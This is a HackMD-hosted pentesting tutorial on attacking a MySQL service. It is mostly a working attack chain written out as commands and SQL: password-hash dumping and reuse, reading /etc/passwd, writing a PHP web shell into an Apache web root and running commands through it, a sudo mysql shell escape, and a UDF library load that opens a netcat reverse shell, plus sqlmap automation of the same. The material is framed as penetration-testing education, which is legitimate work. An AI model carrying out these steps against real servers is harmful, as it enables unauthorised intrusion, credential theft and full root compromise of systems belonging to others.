Tahaa Farooq
    • Create new note
    • Create a note from template
      • Sharing URL Link copied
      • /edit
      • View mode
        • Edit mode
        • View mode
        • Book mode
        • Slide mode
        Edit mode View mode Book mode Slide mode
      • Customize slides
      • Note Permission
      • Read
        • Only me
        • Signed-in users
        • Everyone
        Only me Signed-in users Everyone
      • Write
        • Only me
        • Signed-in users
        • Everyone
        Only me Signed-in users Everyone
      • Engagement control Commenting, Suggest edit, Emoji Reply
    • Invite by email
      Invitee

      This note has no invitees

    • Publish Note

      Share your work with the world Congratulations! 🎉 Your note is out in the world Publish Note No publishing access yet

      Your note will be visible on your profile and discoverable by anyone.
      Your note is now live.
      This note is visible on your profile and discoverable online.
      Everyone on the web can find and read all notes of this public team.

      Your account was recently created. Publishing will be available soon, allowing you to share notes on your public page and in search results.

      Your team account was recently created. Publishing will be available soon, allowing you to share notes on your public page and in search results.

      Explore these features while you wait
      Complete general settings
      Bookmark and like published notes
      Write a few more notes
      Complete general settings
      Write a few more notes
      See published notes
      Unpublish note
      Please check the box to agree to the Community Guidelines.
      View profile
    • Commenting
      Permission
      Disabled Forbidden Owners Signed-in users Everyone
    • Enable
    • Permission
      • Forbidden
      • Owners
      • Signed-in users
      • Everyone
    • Suggest edit
      Permission
      Disabled Forbidden Owners Signed-in users Everyone
    • Enable
    • Permission
      • Forbidden
      • Owners
      • Signed-in users
    • Emoji Reply
    • Enable
    • Versions and GitHub Sync
    • Note settings
    • Note Insights New
    • Engagement control
    • Make a copy
    • Transfer ownership
    • Delete this note
    • Save as template
    • Insert from template
    • Import from
      • Dropbox
      • Google Drive
      • Gist
      • Clipboard
    • Export to
      • Dropbox
      • Google Drive
      • Gist
    • Download
      • Markdown
      • HTML
      • Raw HTML
Menu Note settings Note Insights Versions and GitHub Sync Sharing URL Create Help
Create Create new note Create a note from template
Menu
Options
Engagement control Make a copy Transfer ownership Delete this note
Import from
Dropbox Google Drive Gist Clipboard
Export to
Dropbox Google Drive Gist
Download
Markdown HTML Raw HTML
Back
Sharing URL Link copied
/edit
View mode
  • Edit mode
  • View mode
  • Book mode
  • Slide mode
Edit mode View mode Book mode Slide mode
Customize slides
Note Permission
Read
Only me
  • Only me
  • Signed-in users
  • Everyone
Only me Signed-in users Everyone
Write
Only me
  • Only me
  • Signed-in users
  • Everyone
Only me Signed-in users Everyone
Engagement control Commenting, Suggest edit, Emoji Reply
  • Invite by email
    Invitee

    This note has no invitees

  • Publish Note

    Share your work with the world Congratulations! 🎉 Your note is out in the world Publish Note No publishing access yet

    Your note will be visible on your profile and discoverable by anyone.
    Your note is now live.
    This note is visible on your profile and discoverable online.
    Everyone on the web can find and read all notes of this public team.

    Your account was recently created. Publishing will be available soon, allowing you to share notes on your public page and in search results.

    Your team account was recently created. Publishing will be available soon, allowing you to share notes on your public page and in search results.

    Explore these features while you wait
    Complete general settings
    Bookmark and like published notes
    Write a few more notes
    Complete general settings
    Write a few more notes
    See published notes
    Unpublish note
    Please check the box to agree to the Community Guidelines.
    View profile
    Engagement control
    Commenting
    Permission
    Disabled Forbidden Owners Signed-in users Everyone
    Enable
    Permission
    • Forbidden
    • Owners
    • Signed-in users
    • Everyone
    Suggest edit
    Permission
    Disabled Forbidden Owners Signed-in users Everyone
    Enable
    Permission
    • Forbidden
    • Owners
    • Signed-in users
    Emoji Reply
    Enable
    Import from Dropbox Google Drive Gist Clipboard
       Owned this note    Owned this note      
    Published Linked with GitHub
    5
    • Any changes
      Be notified of any changes
    • Mention me
      Be notified of mention me
    • Unsubscribe
    # An Operative Guide To Pentesting The MySQL Service ![MySQL Logo](https://cdn.clever-cloud.com/uploads/2023/03/mysql.svg) **MySQL** is an open-source relational database management system (**RBDMS**) that uses structured query language (**SQL**) for accessing and managing data. It is one of the most common widely used RDBMS in the world. In this article, I will be writing about how you, as a penetration tester, can leverage access to a MySQL service to gain complete access to the server, read files from the server, and write files to the server. This is achieved by identifying common misconfigurations and settings and exploiting them to achieve the intended goal. ## Connecting to MySQL Since this is considered to be a scenario where you have intially already gained credentials that do login to MySQL as an example they might be in a `.env` file: ```shell DB_HOST=localhost DB_NAME=testing DB_USER=batman DB_PASS=superp@ssw0rd DB_PORT=3306 ``` To login to the MySQL service one can easily type the following command: ```shell mysql -u batman -p"superp@ssw0rd" -h localhost -P 3306 ``` The command above allows me to connect to the MySQL service running on localhost (locally) on the port 3306 in some case the port might be not the default "3306" for security reasons and I specified the password on the command, arguments breakdown below; ```text -u [takes the username] -p [takes the password or prompts for the password] -h [the host to connect to] -P [the port MySQL Service is running on] ``` I didn't specify the database as I want to not only access and limit my access to that certain database but I want to see all available database and navigate through each of them. ![image](https://hackmd.io/_uploads/Hy1ASwAn0.png) ## Enumerating within MySQL The most important thing to look for after gaining access to a MySQL service is to identify and enumerate for privileges, users and permissions the user you have compromised has. ### Enumerating Privileges First to understand the privilege our current user has we run the following SQL queries below: ```sql SHOW GRANTS FOR CURRENT_USER(); SHOW GRANTS; ``` The above SQL queries all do the same task and that is to retrieve the granted privilege to the current user I am logged in as, the output should be something like this: ![image](https://hackmd.io/_uploads/BkQjwPC30.png) now as seen above on the results, the user we just gained access as, doesn't have good enough privileges for us to even at least read files or write files to our advantage. We can proceed further to enumerate for users that are available and allowed to login on the MySQL service. ### Enumerating MySQL Users The users who login to MySQL are saved in the database **mysql** on the table **user** which we also have privileges to, we can easily access that database and the table by writing the following SQL queries to also get the usernames of the users accessing this MySQL server service: ```sql USE mysql; SELECT User FROM user; ``` ![image](https://hackmd.io/_uploads/r1cyOPA30.png) As seen above, I have successfully retrieved all the users available who can access this MySQL. I can easily fetch all the details for all the users for preview including their permissions and privileges as well as their passwords, with the SQL query below: ```sql SELECT * FROM user \G; ``` ![image](https://hackmd.io/_uploads/r1xLYuPC3R.png) The user that we have access to "batman" has very less permission as seen we don't even have file privileges compared to the user **root** and **tf**: ![image](https://hackmd.io/_uploads/rk_AuPAnC.png) But we also notice that the user `tf` has the same password hash as the user `batman`: ![image](https://hackmd.io/_uploads/SJEHYvAhA.png) Running the following command below we can retrieve the passwords for each user and compare them to see if we can perform a password reuse on one of the users: ```sql SELECT User, Password from user; ``` ![image](https://hackmd.io/_uploads/HyHl3DChA.png) That proves that the user batman has the same password as the user tf meaning that we can re-use the same password for the user batman to login as the user **tf** who has more privileges than the user **batman**. ## Arbitrary File Read & Write Having the access on MySQL as the user **tf**, allows us to be able to read files from the server since we do have the `file_priv` set to **Y**, and to actually test this and see if we can read the file `/etc/passwd` from the server we run the SQL query below: ```sql SELECT LOAD_FILE("/etc/passwd") as file_to_read; ``` ![image](https://hackmd.io/_uploads/BJmQAPChC.png) As seen above from the output, I was able to return the content of the file `/etc/passwd`. Now let's try writing a file into the server on the directory `/tmp/` using the SQL query below: ```sql SELECT "pewpew" INTO OUTFILE "/tmp/tmp.txt"; ``` Then let's read it's content to prove that we have written the file successfully using the SQL query below: ```sql SELECT LOAD_FILE("/tmp/tmp.txt") as tmp_file; ``` ![image](https://hackmd.io/_uploads/B1ol1uC3C.png) This confirms that the file was successfully created, and now what's the worst that can happen? ## Arbitrary File Write To RCE Say the server hosting this MySQL service is also hosting a web server that is accessible to the internet, this means that the attacker could easily write into the web root a malicious file if the server is not well configured on directory permissions. But first to be able to do this we need to understand the type of web server running so that we can fetch the contents of the configurations and understand what is the web root directory for the web server. We can achieve this by using curl command as below: ```shell curl -I http://<host-ip-domain>/ ``` ![image](https://hackmd.io/_uploads/SJtmMuA2R.png) We can see that the response exposes that it's running on `Apache` of version `2.4.62` and the OS Distro is `Debian`. The configuration files for apache are stored at the path `/etc/apache2/sites-enabled/000-default.conf`, Let's attempt to read this from MySQL using the SQL query below: ```sql SELECT LOAD_FILE("/etc/apache2/sites-enabled/000-default.conf") AS apache2_conf; ``` ![image](https://hackmd.io/_uploads/rkUb7O0hR.png) As seen above it provides the contents of the configuration and reading through we can notice that `DocumentRoot` is pointed to `/var/www/wayne_enterprise` as most would have thought they could've tried uploading a malicious file into `/var/www/html` but sometimes it's important to cross check by reading through web server configurations to understand where exactly the web root is located at! Knowing that our web root is `/var/www/wayne_enterprise` I can use the below SQL query to write a malicious PHP minimal web shell that should allow me to gain RCE and eventually gain foothold to the server: ```sql SELECT "<?php echo shell_exec($_GET['0']);?>" INTO OUTFILE "/var/www/wayne_enterprise/mal.php"; ``` And we can prove that it's created by reading the contents using the SQL query below: ```sql SELECT LOAD_FILE("/var/www/wayne_enterprise/mal.php") AS mal_file; ``` ![image](https://hackmd.io/_uploads/SkbINOR3C.png) Now we can proceed to accessing our web shell and executing a command from the server using the curl command below or accessing the browser as it's your choice: ```shell curl "http://<host-ip-domain>/mal.php?0=<command>" ``` ![image](https://hackmd.io/_uploads/SyjWB_ChR.png) And that marks our accomplishment on `MySQL -> Arbitrary File Write -> RCE`, What else can we do after here? ## Privilege Escalation With MySQL ### MySQL-Sudo Privilege Escalation Now we have gained a reverse shell to the server and checking the sudo privileges for the user `www-data` we find that the user can execute the command `/usr/bin/mysql` as sudo: ```shell sudo -ll ``` ![image](https://hackmd.io/_uploads/SyLi__CnR.png) Recalling earlier we noticed that the user `root` doesn't have a password thus we can login as root or even login as user's that we already have credentials using the commands: ```shell sudo /usr/bin/mysql -u root -p"" -h localhost ``` ![image](https://hackmd.io/_uploads/B1QfYO03R.png) Now that I have gained access to the MySQL, I can then spawn a shell as root user using the following in-built query commands for MySQL: ```sql \! sh ``` ![image](https://hackmd.io/_uploads/By-DFORh0.png) And that's it! We have rooted the server! But what if the user `www-data` doesn't have the privileges to execute `mysql`? ### User Defined Functions (UDF) Privilege Escalation Another way to perform a privilege escalation on MySQL is by using libraries specifically user defined functions, this would allow us to execute commands as the highest privileged user running MySQL service through a malicious library that we shall use. We can achieve this by doing it manually or by using SQLMap. **NOTE: For this to actually work! The MySQL process is supposed to be run by the user "root"** #### Manual Method There are ready made libraries on github such as [UDF Exploits](https://github.com/koparmalbaris/MySQL-UDF-Exploitation) which we can upload to the target's server since we already have foothold: ```shell git clone https://github.com/koparmalbaris/MySQL-UDF-Exploitation ``` ![image](https://hackmd.io/_uploads/ByXz2u03A.png) Now that we have got all the malicious library on the target, We can proceed by logging into MySQL as any user: ```shell mysql -u tf -p"superp@ssw0rd" -h localhost ``` ![image](https://hackmd.io/_uploads/BkKjhOA3A.png) We then check the architecture of the OS using the query: ```sql SELECT @@version_compile_os, @@version_compile_machine; ``` ![image](https://hackmd.io/_uploads/ryvZauCnA.png) It's x86_64 thus the library `lib_mysqludf_sys64.so` should do the trick, I proceed to then know the path of the MySQL plugins using the query below: ```sql SHOW VARIABLES LIKE '%plugin%'; ``` ![image](https://hackmd.io/_uploads/ryVu6_RnC.png) I shall then proceed to connect with the `mysql` database and then create a table that I shall load the content of the library and dump the file into the plugins directory using the SQL queries below: ```sql USE mysql; CREATE TABLE dummy(line blob); INSERT INTO dummy VALUES(LOAD_FILE('/tmp/MySQL-UDF-Exploitation/lib_mysqludf_sys64.so')); SELECT * FROM dummy INTO DUMPFILE '/usr/lib/mysql/plugin/raptor_udf.so'; ``` After running the above queries we shall lastly proceed to create a malicious function to execute commands using the queries below: ```sql CREATE FUNCTION do_system returns integer soname "raptor_udf.so"; select do_system('nc <ip> <port> -e /bin/bash'); ``` ![image](https://hackmd.io/_uploads/BkGUUtA3C.png) This should promptly send a reverse shell back to my listener: ![image](https://hackmd.io/_uploads/rkr3UFR2R.png) #### Using SQLmap Using SQLmap we can connec to the DB remotely using the commands : ```shell sudo sqlmap -d mysql://tf:"superp@ssw0rd"@<ip>:3306/mysql --dbs ``` ![image](https://hackmd.io/_uploads/By8Q9F020.png) As seen above, we are able to connect to the Database and also list other available databases. In SQLmap we have the argument `--udf-inject`: ![image](https://hackmd.io/_uploads/S15P9tA2A.png) We can append that on the command and continue with the process to automate the whole process and gain root access: ```shell sudo sqlmap -d mysql://tf:"superp@ssw0rd"@<ip>:3306/mysql --udf-inject --shared-lib=/path/local/to/raptor_udf.so ``` ## Extra Whilst having the use of performing priv-escalation using libraries, In realistic environment the chances are pretty rare as most of the work-around would be on misconfigurations and enumerating the Databases to harvest as much information as you can for further usage! I hope you enjoyed reading! <div style="width:100%;height:0;padding-bottom:75%;position:relative;"><iframe src="https://giphy.com/embed/s6EYTqTRqujIY" width="100%" height="100%" style="position:absolute" frameBorder="0" class="giphy-embed" allowFullScreen></iframe></div>

    Import from clipboard

    Paste your markdown or webpage here...

    Advanced permission required

    Your current role can only read. Ask the system administrator to acquire write and comment permission.

    This team is disabled

    Sorry, this team is disabled. You can't edit this note.

    This note is locked

    Sorry, only owner can edit this note.

    Reach the limit

    Sorry, you've reached the max length this note can be.
    Please reduce the content or divide it to more notes, thank you!

    Import from Gist

    Import from Snippet

    or

    Export to Snippet

    Are you sure?

    Do you really want to delete this note?
    All users will lose their connection.

    Create a note from template

    Create a note from template

    Oops...
    This template has been removed or transferred.
    Upgrade
    All
    • All
    • Team
    No template.

    Create a template

    Upgrade

    Delete template

    Do you really want to delete this template?
    Turn this template into a regular note and keep its content, versions, and comments.

    This page need refresh

    You have an incompatible client version.
    Refresh to update.
    New version available!
    See releases notes here
    Refresh to enjoy new features.
    Your user state has changed.
    Refresh to load new user state.

    Sign in

    Forgot password
    or
    Sign in via Facebook Sign in via X(Twitter) Sign in via GitHub Sign in via Dropbox Sign in with Wallet
    Wallet ( )
    Connect another wallet

    New to HackMD? Sign up

    By signing in, you agree to our terms of service.

    Help

    • English
    • 中文
    • Français
    • Deutsch
    • 日本語
    • Español
    • Català
    • Ελληνικά
    • Português
    • italiano
    • Türkçe
    • Русский
    • Nederlands
    • hrvatski jezik
    • język polski
    • Українська
    • हिन्दी
    • svenska
    • Esperanto
    • dansk

    Documents

    Help & Tutorial

    How to use Book mode

    Slide Example

    API Docs

    Edit in VSCode

    Install browser extension

    Contacts

    Feedback

    Discord

    Send us email

    Resources

    Releases

    Pricing

    Blog

    Policy

    Terms

    Privacy

    Cheatsheet

    Syntax Example Reference
    # Header Header 基本排版
    - Unordered List
    • Unordered List
    1. Ordered List
    1. Ordered List
    - [ ] Todo List
    • Todo List
    > Blockquote
    Blockquote
    **Bold font** Bold font
    *Italics font* Italics font
    ~~Strikethrough~~ Strikethrough
    19^th^ 19th
    H~2~O H2O
    ++Inserted text++ Inserted text
    ==Marked text== Marked text
    [link text](https:// "title") Link
    ![image alt](https:// "title") Image
    `Code` Code 在筆記中貼入程式碼
    ```javascript
    var i = 0;
    ```
    var i = 0;
    :smile: :smile: Emoji list
    {%youtube youtube_id %} Externals
    $L^aT_eX$ LaTeX
    :::info
    This is a alert area.
    :::

    This is a alert area.

    Versions and GitHub Sync
    Get Full History Access

    • Edit version name
    • Delete

    revision author avatar     named on  

    More Less

    Note content is identical to the latest version.
    Compare
      Choose a version
      No search result
      Version not found
    Sign in to link this note to GitHub
    Learn more
    This note is not linked with GitHub
     

    Feedback

    Submission failed, please try again

    Thanks for your support.

    On a scale of 0-10, how likely is it that you would recommend HackMD to your friends, family or business associates?

    Please give us some advice and help us improve HackMD.

     

    Thanks for your feedback

    Remove version name

    Do you want to remove this version name and description?

    Transfer ownership

    Transfer to
      Warning: is a public team. If you transfer note to this team, everyone on the web can find and read this note.

        Link with GitHub

        Please authorize HackMD on GitHub
        • Please sign in to GitHub and install the HackMD app on your GitHub repo.
        • HackMD links with GitHub through a GitHub App. You can choose which repo to install our App.
        Learn more  Sign in to GitHub

        Push the note to GitHub Push to GitHub Pull a file from GitHub

          Authorize again
         

        Choose which file to push to

        Select repo
        Refresh Authorize more repos
        Select branch
        Select file
        Select branch
        Choose version(s) to push
        • Save a new version and push
        • Choose from existing versions
        Include title and tags
        Available push count

        Pull from GitHub

         
        File from GitHub
        File from HackMD

        GitHub Link Settings

        File linked

        Linked by
        File path
        Last synced branch
        Available push count

        Danger Zone

        Unlink
        You will no longer receive notification when GitHub file changes after unlink.

        Syncing

        Push failed

        Push successfully